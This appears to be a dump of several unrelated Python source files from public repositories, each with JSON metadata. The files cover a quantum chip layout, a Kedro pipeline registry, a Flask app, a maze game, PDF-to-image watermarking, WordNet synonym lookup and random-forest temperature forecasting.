four readout resonators, two probe lines, charge- and fluxlines.\"\"\"\n\n readout_res_lengths = Param(pdt.TypeList, \"Readout resonator lengths\", [5000, 5100, 5200, 5300], unit=\"[μm]\")\n include_couplers = Param(pdt.TypeBoolean, \"Include couplers between qubits\", True)\n\n def build(self):\n\n launcher_assignments = {\n # N\n 2: \"FL-QB1\",\n 3: \"PL-1-IN\",\n 4: \"PL-1-OUT\",\n 5: \"FL-QB2\",\n # E\n 7: \"DL-QB2\",\n 12: \"DL-QB4\",\n # S\n 14: \"FL-QB4\",\n 15: \"PL-2-IN\",\n 16: \"PL-2-OUT\",\n 17: \"FL-QB3\",\n # W\n 19: \"DL-QB3\",\n 24: \"DL-QB1\",\n }\n self.produce_launchers(\"ARD24\", launcher_assignments)\n\n self.produce_qubits()\n if self.include_couplers:\n self.produce_couplers()\n self.produce_control_lines()\n self.produce_readout_structures()\n self.produce_probelines()\n self.produce_junction_tests()\n\n def produce_qubits(self):\n dist_x = 3220 # x-distance from chip edge\n dist_y = 3000 # y-distance from chip edge\n self.produce_qubit(pya.DTrans(0, True, dist_x, 1e4 - dist_y), \"QB1\")\n self.produce_qubit(pya.DTrans(2, False, 1e4 - dist_x, 1e4 - dist_y), \"QB2\")\n self.produce_qubit(pya.DTrans(0, False, dist_x, dist_y), \"QB3\")\n self.produce_qubit(pya.DTrans(2, True, 1e4 - dist_x, dist_y), \"QB4\")\n\n def produce_qubit(self, trans, inst_name):\n self.insert_cell(Swissmon, trans, inst_name,\n cpl_length=[120, 120, 120],\n port_width=[4, 10, 4],\n )\n\n def produce_couplers(self):\n self.produce_coupler(1, 2, 2)\n self.produce_coupler(2, 4, 0)\n self.produce_coupler(4, 3, 2)\n self.produce_coupler(3, 1, 0)\n\n def produce_coupler(self, qubit_a_nr, qubit_b_nr, port_nr):\n self.insert_cell(WaveguideComposite, nodes=[\n Node(self.refpoints[\"QB{}_port_cplr{}\".format(qubit_a_nr, port_nr)]),\n Node(point_shift_along_vector(self.refpoints[\"QB{}_port_cplr{}\".format(qubit_a_nr, port_nr)],\n self.refpoints[\"QB{}_base\".format(qubit_a_nr)], -400)),\n Node(point_shift_along_vector(self.refpoints[\"QB{}_port_cplr{}\".format(qubit_b_nr, port_nr)],\n self.refpoints[\"QB{}_base\".format(qubit_b_nr)], -400),\n n_bridges=3\n ),\n Node(self.refpoints[\"QB{}_port_cplr{}\".format(qubit_b_nr, port_nr)]),\n ], a=4, b=9)\n\n def produce_control_lines(self):\n for qubit_nr in [1, 2, 3, 4]:\n self.produce_driveline(qubit_nr)\n self.produce_fluxline(qubit_nr)\n\n def produce_driveline(self, qubit_nr):\n self.insert_cell(\n WaveguideCoplanar,\n path=pya.DPath([\n self.refpoints[\"DL-QB{}_base\".format(qubit_nr)],\n self.refpoints[\"DL-QB{}_port_corner\".format(qubit_nr)],\n self.refpoints[\"QB{}_port_drive\".format(qubit_nr)],\n ], 0),\n term2=self.b\n )\n\n def produce_fluxline(self, qubit_nr):\n self.insert_cell(WaveguideComposite, nodes=[\n Node(self.refpoints[\"FL-QB{}_base\".format(qubit_nr)]),\n Node(self.refpoints[\"FL-QB{}_port_corner\".format(qubit_nr)]),\n Node(self.refpoints[\"QB{}_port_flux_corner\".format(qubit_nr)], n_bridges=4),\n Node(self.refpoints[\"QB{}_port_flux\".format(qubit_nr)])\n ])\n\n def produce_readout_structures(self):\n self.produce_readout_structure(1, False, 4)\n self.produce_readout_structure(2, True, 8)\n self.produce_readout_structure(3, False, 5)\n self.produce_readout_structure(4, True, 7)\n\n def produce_readout_structure(self, qubit_nr, mirrored, cap_finger_nr):\n\n # non-meandering part of the resonator\n\n point_1 = self.refpoints[\"QB{}_port_cplr1\".format(qubit_nr)]\n point_2 = point_shift_along_vector(self.refpoints[\"QB{}_port_cplr1\".format(qubit_nr)],\n self.refpoints[\"QB{}_base\".format(qubit_nr)], -600)\n point_3 = point_2 + pya.DPoint(-300 if mirrored else 300, 0)\n\n waveguide_inst, _ = self.insert_cell(WaveguideComposite, nodes=[\n Node(point_1),\n Node(point_2),\n Node(point_3),\n ])\n length_nonmeander = waveguide_inst.cell.length()\n\n # meandering part of the resonator\n\n meander_start = point_3\n meander_end = point_3 + pya.DPoint(-1100 if mirrored else 1100, 0)\n\n self.insert_cell(Meander,\n start=meander_start,\n end=meander_end,\n length=float(self.readout_res_lengths[qubit_nr - 1]) - length_nonmeander,\n )\n\n # capacitor and tcross waveguide connecting resonator to probeline\n\n if mirrored:\n cap_rot = 2\n tcross_rot = 1\n else:\n cap_rot = 0\n tcross_rot = 3\n\n _, cap_ref_abs = self.insert_cell(FingerCapacitorSquare, pya.DTrans(cap_rot), align_to=meander_end,\n align=\"port_a\", finger_number=cap_finger_nr)\n\n self.insert_cell(WaveguideCoplanarSplitter, pya.DTrans(tcross_rot, False, 0, 0),\n inst_name=\"PL{}\".format(qubit_nr),\n label_trans=pya.DCplxTrans(0.2), align_to=cap_ref_abs[\"port_b\"], align=\"port_bottom\",\n **t_cross_parameters(a=self.a, b=self.b, a2=self.a, b2=self.b, length_extra_side=30))\n\n def produce_probelines(self):\n self.produce_probeline(\"PL-1\", 1, 2, False, 6)\n self.produce_probeline(\"PL-2\", 4, 3, True, 3)\n\n def produce_probeline(self, probeline_name, qubit_a_nr, qubit_b_nr, mirrored, cap_finger_nr):\n\n if mirrored:\n cap_rot = 1\n cap_pos_shift = pya.DPoint(0, -2000)\n else:\n cap_rot = 3\n cap_pos_shift = pya.DPoint(0, 2000)\n\n cap_trans = pya.DTrans(cap_rot, False, self.refpoints[\"PL{}_port_left\".format(qubit_a_nr)] + cap_pos_shift)\n _, cap_ref_abs = self.insert_cell(FingerCapacitorTaper, cap_trans, finger_number=cap_finger_nr, taper_length=20)\n\n # segment 1\n self.insert_cell(WaveguideComposite, nodes=[\n Node(self.refpoints[\"{}-IN_base\".format(probeline_name)]),\n Node(self.refpoints[\"{}-IN_port_corner\".format(probeline_name)]),\n Node((self.refpoints[\"PL{}_port_left\".format(qubit_a_nr)].x,\n self.refpoints[\"{}-IN_port_corner\".format(probeline_name)].y)),\n Node(cap_ref_abs[\"port_a\"]),\n ])\n\n # segment 2\n self.insert_cell(WaveguideComposite, nodes=[\n Node(cap_ref_abs[\"port_b\"]),\n Node((self.refpoints[\"PL{}_port_left\".format(qubit_a_nr)].x,\n self.refpoints[\"QB{}_base\".format(qubit_a_nr)].y),\n AirbridgeConnection if self.include_couplers else None\n ),\n Node(self.refpoints[\"PL{}_port_left\".format(qubit_a_nr)]),\n ])\n\n # segment 3\n self.insert_cell(WaveguideComposite, nodes=[\n Node(self.refpoints[\"PL{}_port_right\".format(qubit_a_nr)]),\n Node(point_shift_along_vector(self.refpoints[\"PL{}_port_right\".format(qubit_a_nr)],\n self.refpoints[\"PL{}_port_right_corner\".format(qubit_a_nr)], 600)),\n Node(point_shift_along_vector(self.refpoints[\"PL{}_port_left\".format(qubit_b_nr)],\n self.refpoints[\"PL{}_port_left_corner\".format(qubit_b_nr)], 600),\n n_bridges=1\n ),\n Node(self.refpoints[\"PL{}_port_left\".format(qubit_b_nr)]),\n ])\n\n self.insert_cell(WaveguideComposite, nodes=[\n Node(self.refpoints[\"{}-OUT_base\".format(probeline_name)]),\n Node(self.refpoints[\"{}-OUT_port_corner\".format(probeline_name)]),\n Node((self.refpoints[\"PL{}_port_right\".format(qubit_b_nr)].x,\n self.refpoints[\"{}-OUT_port_corner\".format(probeline_name)].y)),\n Node((self.refpoints[\"PL{}_port_right\".format(qubit_b_nr)].x,\n self.refpoints[\"QB{}_base\".format(qubit_b_nr)].y),\n AirbridgeConnection if self.include_couplers else None\n ),\n Node(self.refpoints[\"PL{}_port_right\".format(qubit_b_nr)]),\n ])\n\n def produce_junction_tests(self):\n junction_test_cell = self.add_element(JunctionTestPads, margin=50, area_height=2500)\n label_trans = pya.DCplxTrans(0.5)\n self.insert_cell(junction_test_cell, pya.DTrans(0, False, 900, 3750), \"testarray_w\", label_trans=label_trans)\n self.insert_cell(junction_test_cell, pya.DTrans(0, False, 7800, 3750), \"testarray_e\", label_trans=label_trans)\n","repo_name":"iqm-finland/KQCircuits","sub_path":"klayout_package/python/kqcircuits/chips/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":10012,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"61"} +{"seq_id":"8893028609","text":"\"\"\"Project pipelines.\"\"\"\nfrom typing import Dict\n\nfrom kedro.pipeline import Pipeline\n\nfrom . import iris_agg, iris_agg_v2, test\n\n\ndef register_pipelines() -> Dict[str, Pipeline]:\n \"\"\"Register the project's pipelines.\n\n Returns:\n A mapping from pipeline names to ``Pipeline`` objects.\n \"\"\"\n pipelines = {\n \"__default__\": iris_agg.create_pipeline(),\n \"iris_agg\": iris_agg.create_pipeline(),\n \"iris_agg_v2\": iris_agg_v2.create_pipeline(),\n \"test\": test.create_pipeline(),\n }\n return pipelines\n","repo_name":"WasteLabs/template_kedro_streamlit","sub_path":"src/pipelines/pipeline_registry.py","file_name":"pipeline_registry.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"30359373933","text":"from flask import Flask,request,render_template\r\nimport sys\r\nsys.path.append('/app/main')\r\nfrom script import get_data\r\nfrom script.logger import makelog\r\nimport time\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef home():\r\n return render_template('index.html')\r\n\r\n\r\nlogger = makelog(\"seoykim\")\r\n\r\ntry:\r\n time0 = time.time()\r\n value=get_data.castleInfo()\r\n logger.info(\"Successful! Loading Time:{}\".format(time.time()-time0))\r\nexcept :\r\n logger.exception()\r\n\r\n@app.route('/predict_castle')\r\ndef castle_predict():\r\n try:\r\n return render_template('predict_castle.html',data=value)\r\n except :\r\n logger.exception()\r\n return value\r\n\r\n@app.route('/select.html')\r\ndef select():\r\n return render_template('select.html')\r\n\r\n\r\n","repo_name":"seo-young-kim/noonchigame","sub_path":"main/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40059726442","text":"\nmaze = [[1, 1, 1, 1, 1, 1, 1, 1, ],\n [1, 8, 0, 0, 0, 0, 1, 1, ],\n [1, 0, 1, 1, 1, 0, 0, 1, ],\n [1, 0, 0, 1, 0, 1, 0, 1, ],\n [1, 0, 0, 1, 0, 0, 0, 1, ],\n [1, 0, 0, 0, 0, 0, 9, 1, ],\n [1, 1, 1, 1, 1, 1, 1, 1, ]]\n\n\nclass Location:\n X = 1\n Y = 1\n\n def __init__(self, x, y) -> None:\n self.X = x\n self.Y = y\n\n\ndef load_maze(maze_file):\n maze = []\n with open(maze_file, 'r', encoding='utf-8') as f:\n for line in f:\n maze.append([int(x) for x in line.split()])\n return maze\n\n\ndef print_maze(maze):\n heigh = len(maze)\n width = len(maze[0])\n for y in range(heigh):\n for x in range(width):\n print(f'{maze[y][x]} ', end=\"\")\n print()\n\n\nif __name__ == \"__main__\":\n # maze = load_maze('maze.txt')\n # print_maze(maze)\n position = Location(1, 1)\n # inp = input()\n # print(inp)\n while maze[position.Y][position.X] != 9:\n print_maze(maze)\n inp = input()\n\n new_Y = position.Y\n new_X = position.X\n\n # '\\x1b[A' up\n # '\\x1b[B' down\n # '\\x1b[C' right\n # '\\x1b[D' left\n\n if inp == '\\x1b[A':\n new_Y = new_Y - 1\n if maze[new_Y][new_X] == 9:\n break\n if maze[new_Y][new_X] != 1:\n maze[position.Y][position.X] = 0\n maze[new_Y][new_X] = 8\n position.Y = new_Y\n\n if inp == '\\x1b[B':\n new_Y = new_Y + 1\n if maze[new_Y][new_X] == 9:\n break\n if maze[new_Y][new_X] != 1:\n maze[position.Y][position.X] = 0\n maze[new_Y][new_X] = 8\n position.Y = new_Y\n\n if inp == '\\x1b[C':\n new_X = new_X + 1\n if maze[new_Y][new_X] == 9:\n break\n if maze[new_Y][new_X] != 1:\n maze[position.Y][position.X] = 0\n maze[new_Y][new_X] = 8\n position.X = new_X\n\n if inp == '\\x1b[D':\n new_X = new_X - 1\n if maze[new_Y][new_X] == 9:\n break\n if maze[new_Y][new_X] != 1:\n maze[position.Y][position.X] = 0\n maze[new_Y][new_X] = 8\n position.X = new_X\n\n print('congratulation, exit maze')\n","repo_name":"wsunccake/coNote","sub_path":"python/Python Game Development Lecture Get Start/HW/maze.py","file_name":"maze.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29590910871","text":"import cv2\nimport numpy as np\nimport fitz\nimport os\nfrom PIL import Image\nimport script\n\n#必要库:PyMuPDF cv2\n#请设定 pdfpath,savepath,quality=20,zoomx=1 :: pdf路径,要保存图片的路径,保存图片的质量,图片的缩放\nclass PdfToWebp():\n def __init__(self,pdfpath,savepath,quality=100,zoom=1):\n self.paraweb=[cv2.IMWRITE_WEBP_QUALITY,quality]\n self.pdfdoc = fitz.open(pdfpath)\n self.zoom=zoom\n self.savepath=savepath\n\n #保存指定pdf页面,从0开始\n def saveOnePage(self,pg):\n if not os.path.exists(self.savepath): # 判断存放图片的文件夹是否存在\n os.makedirs(self.savepath) # 若图片文件夹不存在就创建\n page = self.pdfdoc[pg]\n rotate = int(0)\n zoom_x = zoom_y = self.zoom\n mat = fitz.Matrix(zoom_x, zoom_y).preRotate(rotate)\n pix = page.getPixmap(matrix=mat, alpha=False)\n pix = Image.frombytes(\"RGB\", [pix.width, pix.height], pix.samples)\n pix = np.array(pix)\n pix = pix[:, :, ::-1].copy()\n cv2.imwrite(os.path.join(self.savepath, \"{}.webp\".format(pg)), pix, params=self.paraweb)\n return pix\n\n #获取一页pdf图片\n def getOnePage(self,pg):\n if not os.path.exists(self.savepath): # 判断存放图片的文件夹是否存在\n os.makedirs(self.savepath) # 若图片文件夹不存在就创建\n page = self.pdfdoc[pg]\n rotate = int(0)\n zoom_x = zoom_y = self.zoom\n mat = fitz.Matrix(zoom_x, zoom_y).preRotate(rotate)\n pix = page.getPixmap(matrix=mat, alpha=False)\n pix = Image.frombytes(\"RGB\", [pix.width, pix.height], pix.samples)\n pix = np.array(pix)\n pix = pix[:, :, ::-1].copy()\n return pix\n\n #保存所有pdf页面到savepath\n def saveAllPage(self):\n if not os.path.exists(self.savepath): # 判断存放图片的文件夹是否存在\n os.makedirs(self.savepath) # 若图片文件夹不存在就创建\n for pg in range(self.pdfdoc.pageCount):\n page = self.pdfdoc[pg]\n rotate = int(0)\n zoom_x =zoom_y= self.zoom\n mat = fitz.Matrix(zoom_x, zoom_y).preRotate(rotate)\n pix = page.getPixmap(matrix=mat, alpha=False)\n pix = Image.frombytes(\"RGB\", [pix.width, pix.height], pix.samples)\n pix=np.array(pix)\n pix = pix[:, :, ::-1].copy()\n cv2.imwrite(os.path.join(self.savepath,\"{}.webp\".format(pg)), pix, params=self.paraweb)\n\n #以第一页的宽度为比例设置缩放系数, 缩放到指定的宽度, 一但设置width,那么原本初始化的zoom系数不再使用\n def setWidth(self,width):\n page = self.pdfdoc[0]\n oriwidth= page.getPixmap().width\n self.zoom=width/oriwidth\n\n def dctWaterMark(self,img,watermarkimg):\n DCTwriter = script.dctwm\n newim = DCTwriter.embed(img, watermarkimg)\n return newim\n\n def saveImg(self,img,name,quality):\n cv2.imwrite(os.path.join(self.savepath, \"{}.webp\".format(name)), img, params=[cv2.IMWRITE_WEBP_QUALITY,quality])\n\n def checkImgHasWartermark(self,img,watermarkimg):\n DCTwriter = script.dctwm\n sim = DCTwriter.extract(img, watermarkimg)\n print(\"打上水印的可能性为:\",round(sim,2))\n\nif __name__ == '__main__':\n #输入pdf转换为压缩后的webp图片到输出目录,图片的质量为100(质量更低的话占用空间更小),且要求图片尺寸是原尺寸的3倍\n cwd=os.getcwd()\n handle=PdfToWebp(os.path.join(cwd,\"..\",\"input\",\"example.pdf\"),os.path.join(cwd,\"..\",\"output\"),20,3)\n #不考虑之前的缩放系数3, 而设置输出的图片宽一定是约为1000像素\n handle.setWidth(1000)\n #保存所有的pdf图片到路径\n handle.saveAllPage()\n #保存一张pdf图片到路径\n handle.saveOnePage(1)\n #获得水印图片\n watermarkimg=cv2.imread(\"../watermark/wm.jpg\",cv2.IMREAD_GRAYSCALE)\n #给第一张pdf图片打dct盲水印\n pdfpage1=handle.getOnePage(0)\n im=handle.dctWaterMark(pdfpage1,watermarkimg)\n handle.saveImg(im,\"0_watermark\",quality=100)\n #查看刚才的图片是否打上水印\n ori=cv2.imread(os.path.join(cwd,\"..\",\"output\",\"0_watermark.webp\"))\n handle.checkImgHasWartermark(ori,watermarkimg)\n","repo_name":"agrandtree/PdfToImgWithWatermarker","sub_path":"src/PdfToImgWithWatermark.py","file_name":"PdfToImgWithWatermark.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11672005680","text":"from nltk.corpus import wordnet\nfrom vocabulary.vocabulary import Vocabulary as vb\ndef get_word_synonyms_from_sent(word, sent):\n synonyms = []\n antonyms = []\n for syn in wordnet.synsets(\"good\"):\n for l in syn.lemmas():\n synonyms.append(l.name())\n if l.antonyms():\n antonyms.append(l.antonyms()[0].name())\n #if it has to be in the text\n synonyms= list(set(sentence).intersection(syn))\n antonyms = list(set(sentence).intersection(anto))\n return (set(synonyms)),(set(antonyms))\ndef synset(data):\n result = {}\n syns = wordnet.synsets(data)\n list = []\n for s in syns:\n r = {}\n r[\"name\"] = s.name()\n r[\"lemma\"] = s.lemmas()[0].name()\n r[\"definition\"] = s.definition()\n r[\"examples\"] = s.examples()\n list.append(r)\n\n result[\"list\"] = list\n synonyms = []\n antonyms = []\n for syn in syns:\n for l in syn.lemmas():\n synonyms.append(l.name())\n if l.antonyms():\n antonyms.append(l.antonyms()[0].name())\n\n return synonyms,antonyms\n\ndef get_synonyms(word, pos=None):\n wordnet_pos = {\n \"NOUN\": wordnet.NOUN,\n \"VERB\": wordnet.VERB,\n \"ADJ\": wordnet.ADJ,\n \"ADV\": wordnet.ADV\n }\n if pos:\n synsets = wordnet.synsets(word, pos=wordnet_pos[pos])\n else:\n synsets = wordnet.synsets(word)\n synonyms = []\n for synset in synsets:\n synonyms += [str(lemma.name()) for lemma in synset.lemmas()]\n synonyms = [synonym.replace(\"_\", \" \") for synonym in synonyms]\n synonyms = list(set(synonyms))\n synonyms = [synonym for synonym in synonyms if synonym != word]\n return synonyms\ndef meaning(word):\n syns = wordnet.synsets(word)\n if syns:\n print(\"WORD WITH ONE MEANING\")\n print(\"DEFINITION OF THIS WORD IS :\",syns[0].definition())\n else:\n print(\"This word has no meaning\")\n\ndef polysemic_word(word):\n syns = wordnet.synsets(word)\n i = 0\n for s in syns:\n for l in s.lemmas():\n i=i+1\n if i>0:\n print(\"polysemous word,Nb of usages possible:\",i)\n #meaning(word)\n else :\n print(\"No Polysemy\")\n meaning(word)\n\nf=open(\"output_token.txt\", \"r\")\ncontents =f.read()\ncontents=contents.replace(\"[\",\"\")\ncontents=contents.replace(\" \",\"\")\ncontents=contents.replace(\"]\",\"\")\ncontents=contents.replace(\"'\",\"\")\ncontents=contents.replace(\"\\n\",\"\")\nx=[]\nx = list(contents.split(\",\"))\nprint(x)\nfor i in x:\n word = None\n sentence = []\n word = str(i)\n sentence = list(contents.split(\",\"))\n sentence.remove(word)\n syn=[]\n anto=[]\n if len(word)>0:\n print(\"WORD :\", word)\n syn,anto=synset(word)\n print(\"SYNONYMS :\", syn, \"\\nANTONYMS:\", anto)\n polysemic_word(word)\n print(\"__________________________________________________________________________________________________________________________________________________\")\n word = None\n sentence = []\n\n","repo_name":"Katia18/webscrapping-python","sub_path":"santanto.py","file_name":"santanto.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25208623675","text":"\r\n#################################\r\n####################################\r\n############################\r\n################################\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.metrics import mean_absolute_error, mean_squared_error\r\n\r\n# Load and preprocess your historical weather data\r\ndata = pd.read_csv(r'C:\\Users\\white\\Desktop\\Dissertation\\data\\temp_weather.csv')\r\n\r\n# Select relevant features for prediction\r\nfeatures = ['temp','dew_point', 'temp_min', 'temp_max', 'humidity', 'clouds_all', 'snow_1h']\r\ntarget_temp = 'temp' # Target variable for temperature prediction\r\n\r\n# Splitting the data into features and targets\r\nX = data[features]\r\ny = data[target_temp] # Only predict temperature for now\r\n\r\n# Feature scaling using StandardScaler\r\nscaler = StandardScaler()\r\nX_scaled = scaler.fit_transform(X)\r\n\r\n# Number of days to forecast ahead\r\nforecast_horizon = 7\r\n\r\n# List to store predicted temperatures for the next 7 days\r\npredicted_temperatures = []\r\n\r\n# Splitting the data into train and test sets\r\nX_train, X_test, y_train, y_test = train_test_split(\r\n X_scaled, y, test_size=forecast_horizon, shuffle=False\r\n)\r\n\r\n# Create a list of shifts for each day in the forecast horizon\r\nshifts = list(range(forecast_horizon))\r\n\r\n# Creating a list of Random Forest models, one for each day in the forecast horizon\r\nmodels = [RandomForestRegressor(n_estimators=100, random_state=42) for _ in range(forecast_horizon)]\r\n\r\n# Training each model for its respective day\r\nfor i, model in enumerate(models):\r\n # Shift the target to predict the i-th day ahead\r\n shifted_y_train = y_train.shift(-shifts[i]).dropna()\r\n model.fit(X_train[:len(shifted_y_train)], shifted_y_train)\r\n\r\n# Initial input for prediction\r\ncurrent_input = X_test[0].reshape(1, -1)\r\n\r\n# Predicting temperatures for the next 7 days\r\nfor i, model in enumerate(models):\r\n predicted_temperature = model.predict(current_input)[0]\r\n predicted_temperatures.append(predicted_temperature)\r\n \r\n # Update current input for the next prediction\r\n current_input = current_input.copy()\r\n current_input[0, 0] = predicted_temperature # Replace the first feature (temperature) with the prediction\r\n\r\n# Print the predicted temperatures for the next 7 days\r\nfor day, temp in enumerate(predicted_temperatures, start=1):\r\n print(f'Predicted temperature for day {day}: {temp:.2f}')\r\n\r\n# Actual temperature data (replace with actual values)\r\nactual_temperature_data = [15.77, 16.43, 16.55, 19.19, 19.36, 19.17, 17.38]\r\n\r\n# Convert the predicted_temperatures list into a list of lists\r\npredicted_temperature_data = [[temp] for temp in predicted_temperatures]\r\n\r\n# Flatten the predicted_temperature_data list\r\npredicted_temperature_flat = [temp[0] for temp in predicted_temperature_data]\r\n\r\nmae_scores = [mean_absolute_error(actual_temperature_data, predicted_temperature_flat)]\r\nrmse_scores = [mean_squared_error(actual_temperature_data, predicted_temperature_flat, squared=False)]\r\n\r\n\r\n# Print MAE and RMSE for each day\r\n# Print MAE and RMSE for each day\r\nfor day, (actual_temp, predicted_temp) in enumerate(zip(actual_temperature_data, predicted_temperature_data), start=1):\r\n mae = mean_absolute_error([actual_temp], [predicted_temp[0]])\r\n rmse = mean_squared_error([actual_temp], [predicted_temp[0]], squared=False)\r\n \r\n print(f'Day {day}:')\r\n print(f'Actual temperature: {actual_temp:.2f}')\r\n print(f'Predicted temperature: {predicted_temp[0]:.2f}')\r\n print(f'MAE: {mae:.2f}')\r\n print(f'RMSE: {rmse:.2f}')\r\n print('---')\r\n\r\n\r\n# Create a single figure for the line plot\r\nfig, axes = plt.subplots(nrows=1, ncols=1, figsize=(10, 6))\r\n\r\n# Line plot: Actual vs. Predicted Temperatures\r\nlegend_lines = [] # To store lines for legend\r\norange_x_coords = []\r\norange_y_coords = []\r\nblue_x_coords = []\r\nblue_y_coords = []\r\n\r\nfor day, (actual_temps, predicted_temp) in enumerate(zip(actual_temperature_data, predicted_temperatures), start=1):\r\n actual_line = axes.plot([day], [actual_temps], marker='o', markersize=8, color='blue', label='Actual')\r\n predicted_line = axes.plot([day], [predicted_temp], marker='x', markersize=8, color='orange', linestyle='dashed', label='Predicted')\r\n \r\n # Add lines to the legend\r\n if day == 1:\r\n legend_lines.extend([actual_line[0], predicted_line[0]])\r\n # Connect points with lines\r\n axes.plot([day, day], [actual_temps, predicted_temp], color='red', linestyle='-', alpha=0.5)\r\n # Accumulate coordinates for orange and blue points\r\n orange_x_coords.append(day)\r\n orange_y_coords.append(predicted_temp)\r\n blue_x_coords.append(day)\r\n blue_y_coords.append(actual_temps)\r\n\r\n# Draw lines through all orange and blue points\r\naxes.plot(orange_x_coords, orange_y_coords, color='orange', linestyle='-', alpha=0.5)\r\naxes.plot(blue_x_coords, blue_y_coords, color='blue', linestyle='-', alpha=0.5)\r\n\r\naxes.set_xlabel('Day')\r\naxes.set_ylabel('Temperature')\r\naxes.set_title('Actual vs. Predicted Temperatures')\r\naxes.legend(legend_lines, ['Actual', 'Predicted'])\r\n\r\n# Adjust layout and show the plot\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n\r\nimport numpy as np\r\nfrom sklearn.metrics import r2_score\r\n\r\n# Load your dataset\r\ndata = pd.read_csv(r'C:\\Users\\white\\Desktop\\Dissertation\\data\\temp_weather.csv')\r\n\r\n# Define the sequence length (n-1 days)\r\nsequence_length = 7\r\n\r\n\r\nfeatures = ['dew_point', 'temp_min', 'temp_max', 'humidity', 'clouds_all', 'snow_1h','day_of_week','month','year','season']\r\ntarget_temp = 'temp' # Target variable for temperature prediction\r\n\r\n# Splitting the data into features and targets\r\nX = data[features]\r\ny = data[target_temp] # Only predict temperature for now\r\n\r\n\r\n# Create sequences and corresponding target values\r\nX_sequences = []\r\ny_sequences = []\r\n\r\nfor i in range(len(data) - sequence_length - 7):\r\n X_sequences.append(X.iloc[i:i+sequence_length].values) # Slice n-1 days of features\r\n y_sequences.append(y.iloc[i+sequence_length:i+sequence_length+7].values) # Next 7 days of temperatures\r\n\r\nX_sequences = np.array(X_sequences)\r\ny_sequences = np.array(y_sequences)\r\n\r\n# Splitting into training and testing sets\r\nX_train, X_test, y_train, y_test = train_test_split(X_sequences, y_sequences, test_size=0.2, random_state=42)\r\n\r\n# Reshape the input sequences\r\nX_train_reshaped = X_train.reshape(X_train.shape[0], -1)\r\nX_test_reshaped = X_test.reshape(X_test.shape[0], -1)\r\n\r\n# Create the Random Forest Regressor (or any other suitable model)\r\nrf_regressor = RandomForestRegressor(n_estimators=100, random_state=42)\r\n\r\n# Train the model on the training data\r\nrf_regressor.fit(X_train_reshaped, y_train)\r\n\r\n# Make predictions\r\ny_pred = rf_regressor.predict(X_test_reshaped)\r\n\r\n# Evaluate the model (e.g., calculate the mean squared error for all predicted days)\r\n\r\n# Calculate the Mean Squared Error (MSE)\r\nmse = mean_squared_error(y_test, y_pred)\r\nfrom math import sqrt\r\n# Calculate the Root Mean Squared Error (RMSE)\r\nrmse = sqrt(mse)\r\n\r\nprint(f\"Mean Squared Error: {mse}\")\r\nprint(f\"Root Mean Squared Error: {rmse}\")\r\n# Calculate the R-squared score\r\nr2 = r2_score(y_test, y_pred)\r\nprint(f\"R-squared Score: {r2}\")\r\n\r\n\r\n# Determine the number of data points corresponding to the latest 6 months\r\nnum_months = 6\r\nnum_data_points = 30 * num_months # Assuming an average of 30 data points per month\r\n\r\n# Calculate the starting index for the subset\r\nstart_index = len(y_test) - num_data_points\r\n\r\n# Extract the actual and predicted values for the subset\r\nsubset_y_test = y_test[start_index:]\r\nsubset_y_pred = y_pred[start_index:]\r\n\r\n# Plotting the predicted and real values for the subset\r\nplt.figure(figsize=(12, 6))\r\nplt.plot(subset_y_test, label='Real', color='orange')\r\nplt.plot(subset_y_pred, label='Predicted', color='blue', linestyle='--')\r\n\r\nplt.title('Predicted vs. Real Temperature Values (Latest 6 Months)')\r\nplt.xlabel('Data Point Index')\r\nplt.ylabel('Temperature')\r\nplt.grid(True)\r\nplt.legend()\r\nplt.show()\r\n#####################test start\r\n# Create an array of days for plotting (1 to 7 days)\r\n# Define the date range you're interested in (replace with your desired range)\r\ndata['date'] = pd.to_datetime(data['date'])\r\n# Define the date range you're interested in (replace with your desired range)\r\nstart_date = '2020-11-01'\r\nend_date = '2022-11-01'\r\n\r\n# Convert the date range to datetime objects\r\nstart_date = pd.to_datetime(start_date)\r\nend_date = pd.to_datetime(end_date)\r\n\r\n# Filter the data based on the date range\r\nfiltered_data = data[(data['date'] >= start_date) & (data['date'] <= end_date)]\r\n\r\n# Get the corresponding indices for the filtered data\r\nfiltered_indices = filtered_data.index\r\n\r\n# Filter the prediction arrays based on the indices\r\nfiltered_y_pred = y_pred[filtered_indices]\r\nfiltered_y_test = y_test[filtered_indices]\r\n\r\n# Plotting the predicted and real values within the specified date range\r\nplt.figure(figsize=(12, 6))\r\nplt.plot(filtered_data['date'], filtered_y_pred, label='Predicted', color='blue')\r\nplt.plot(filtered_data['date'], filtered_y_test, label='Real', color='orange')\r\n\r\nplt.title('Predicted vs. Real Temperature Values (Date Range)')\r\nplt.xlabel('Date')\r\nplt.ylabel('Temperature')\r\nplt.grid(True)\r\nplt.legend()\r\nplt.show()\r\n################test end\r\nrecent_features = [\r\n [10.05708333, 11.69, 21.21, 67.95833333, 63.45833333, 0, 1, 7, 2023, 3], # 25th/07/23\r\n [11.098, 8.08, 23.95, 72.76, 60.6, 0, 2, 7, 2023, 3], # 26th/07/23\r\n [17.01875, 15.32, 22.83, 87.5, 86.33333333, 0, 3, 7, 2023, 3], # 27th/07/23\r\n [15.41833333, 15.88, 24.05, 78.41666667, 86.41666667, 0, 4, 7, 2023, 3], # 28th/07/23\r\n [13.36833333, 15.58, 23.99, 70.45833333, 43.66666667, 0, 5, 7, 2023, 3], # 29th/07/23\r\n 